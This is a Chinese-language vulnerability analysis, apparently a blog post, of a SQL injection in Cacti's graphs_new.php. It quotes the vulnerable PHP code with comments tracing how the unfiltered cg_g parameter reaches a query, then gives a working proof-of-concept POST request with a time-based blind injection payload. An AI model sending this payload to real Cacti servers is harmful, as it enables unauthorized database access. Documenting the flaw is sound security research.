Cacti是一套网络流量监测图形分析工具。它有非常强大的数据和用户管理功能，可以指定每一个用户能查看树状结 构、host以及任何一张图，还可以与LDAP结合进行用户验证，同时也能自己增加模板，功能非常强大。

graphs_new.phpfunction form_save() {

if (isset($_POST["save_component_graph"])) {

/* summarize the 'create graph from host template/snmp index' stuff into an array */

while (list($var, $val) = each($_POST)) {

if (preg_match('/^cg_(\d+)$/', $var, $matches)) {

$selected_graphs["cg"]{$matches[1]}{$matches[1]} = true;

//cg_g is not filtered

}elseif (preg_match('/^cg_g$/', $var)) {

if ($_POST["cg_g"] > 0) {

$selected_graphs["cg"]{$_POST["cg_g"]}{$_POST["cg_g"]} = true; //给数组赋值

}

}elseif (preg_match('/^sg_(\d+)_([a-f0-9]{32})$/', $var, $matches)) {

$selected_graphs["sg"]{$matches[1]}{$_POST{"sgg_" . $matches[1]}}{$matches[2]} = true;

}

}

if (isset($selected_graphs)) {

host_new_graphs($_POST["host_id"], $_POST["host_template_id"], $selected_graphs);//调用漏洞函数

exit;

}

header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);

}

if (isset($_POST["save_component_new_graphs"])) {

host_new_graphs_save();

header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);

}

}

function host_new_graphs($host_id, $host_template_id, $selected_graphs_array) {

/* we use object buffering on this page to allow redirection to another page if no

fields are actually drawn */

ob_start();

include_once("./include/top_header.php");

print "

\n";

$snmp_query_id = 0;

$num_output_fields = array();

while (list($form_type, $form_array) = each($selected_graphs_array)) {//便利数组

while (list($form_id1, $form_array2) = each($form_array)) {//继续便利数组，将数组中的key提取出来作为form_id1，form_id2

if ($form_type == "cg") {

$graph_template_id = $form_id1; //赋值

//sql injection in graph_template_id

html_start_box("Create Graph from '" . db_fetch_cell("select name from graph_templates where id=$graph_template_id") . "'", "100%", "", "3", "center", "");//带入查询

}elseif ($form_type == "sg") {

while (list($form_id2, $form_array3) = each($form_array2)) {

/* ================= input validation ================= */

input_validate_input_number($snmp_query_id);

/* ==================================================== */

$snmp_query_id = $form_id1;

$snmp_query_graph_id = $form_id2;

POCPOST /cacti/graphs_new.php HTTP/1.1

Host: 192.168.217.133

Content-Type: application/x-www-form-urlencoded

Cookie: 1c4af7f2e90e3a789e67a8e3acd2372f=8a83va6ijomgf7qdgfpcl8l1p2; Cacti=j8chtc1ppq4n7viqkbah6c4tv2

Content-Length: 189

__csrf_magic=sid%3Aed226a87fdcc8e055d1c27b620e564d629d95e40%2C1450241184&cg_g=033926697+xor+(select(0)from(select sleep(5))v)&save_component_graph=1&host_id=2&host_template_id=0&action=save